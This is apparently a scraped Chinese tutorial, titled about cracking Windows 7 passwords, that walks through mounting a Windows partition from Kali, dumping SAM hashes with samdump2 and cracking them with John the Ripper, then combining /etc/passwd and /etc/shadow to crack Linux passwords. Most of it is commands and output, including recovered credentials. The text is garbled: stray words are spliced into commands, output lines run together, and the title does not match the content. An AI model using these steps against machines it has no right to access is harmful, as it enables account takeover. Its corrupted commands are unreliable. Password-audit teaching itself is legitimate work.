win7系统破解密码-(win7系统破解密码后不能创建密码)

输出的信息表示当前系统中有一块磁盘，并只有一个分区。该文件系统类型是NTFS，也是Windows系统的所存放的磁盘。

（2）挂载硬盘驱动。执行命令如下所示：

root@kali:~# mkdir /sda1 电脑 #创建挂载点root@kali:~# mount /dev/sda1 /sda1/ #挂载/dev/sda1分区

执行以上命令后，没有任何输出信息。

（3）切换目录，进入到Windows SAM文件的位置。执行命令如下所示：

root@kali:~# cd /sda1/WINDOWS/system32/config/

在该目录中，可以看到SAM文件。

（4）使用SamDump2提取SAM文件。执行命令如下所示：

root@kali:/sda1/WINDOWS/system32/config# samdump2 SAM system > /root/hash.txtsamdump2 1.1.1 by Objectif Securitehttp://www.objectif-securite.choriginal author: ncuomo@studenti.unina.itRoot Key : SAM

从输出信息中可以看到提取了SAM文件。将该文件的内容重定向到了/root/hash.txt文件中。

（5）运行john命令，实现密码攻击。执行命令如下所示：

root@kali:/sda1/WINDOWS/system32/config# /usr/sbin/john /root/hash.txt --format=ntCreated directory: /root/.johnLoaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32]) (Guest)guesses: 4 time: 0:00:03:13 0.09% (3) (ETA: Mon May 12 06:46:42 2014) c/s: 152605K trying: 2KRIN.P - 2KRIDY8guesses: 4 time: 0:00:04:26 0.13% (3) (ETA: Mon May 12 04:02:53 2014) c/s: 152912K trying: GR0KUHI - GR0KDN1guesses: 4 time: 0:00:04:27 0.13% (3) (ETA: Mon May 12 04:15:42 2014) c/s: 152924K trying: HKCUUHT - HKCUGDS8.6.2 破解Linux用户密码

破解Linux的密码基本上和破解Windows密码的方法非常类似，在该过程中只有一点不同。Linux系统没有使用SAM文件夹来保存密码散列。Linux系统将加密的密码散列包含在一个叫做shadow的文件里，该文件的绝对路径为/etc/shadow。

不过，在使用John the Ripper破解/etc/shadow文件之前，还需要/etc/passwd文件。这和提取Windows密码散列需要system文件和SAM文件是一样的道理。John the Ripper自带了一个功能，它可以将shadow和passwd文件结合在一起，这样就可以使用该工具破解Linux系统的用户密码。本小节将介绍破解Linux用户密码的方法。

使用John the Ripper工具破解Linux用户密码。具体操作步骤如下所示。

（1）使用unshadow提取密码散列。执行命令如下所示：

root@kali:~# unshadow /etc/passwd /etc/shadow > 电脑 /tmp/linux_hashes.txt

执行以上命令后，会将/etc/passwd/文件与/etc/shadow/文件结合在一起，生成一个叫做linux_hashes.txt的文件，保存在/tmp/目录中。

（2）破解Linux用户密码。执行命令如下所示：

root@kali:~# john --format=crypt --show /tmp/linux_hashes.txtroot:123456:0:0:root:/root:/bin/bashbob:123456:1000:1001::/home/bob:/bin/shalice:123456:1001:1002::/home/alice:/bin/sh3 password hashes cracked, 0 left

从输出的结果中，可以看到当前系统中共有三个用户，其密码都为123456。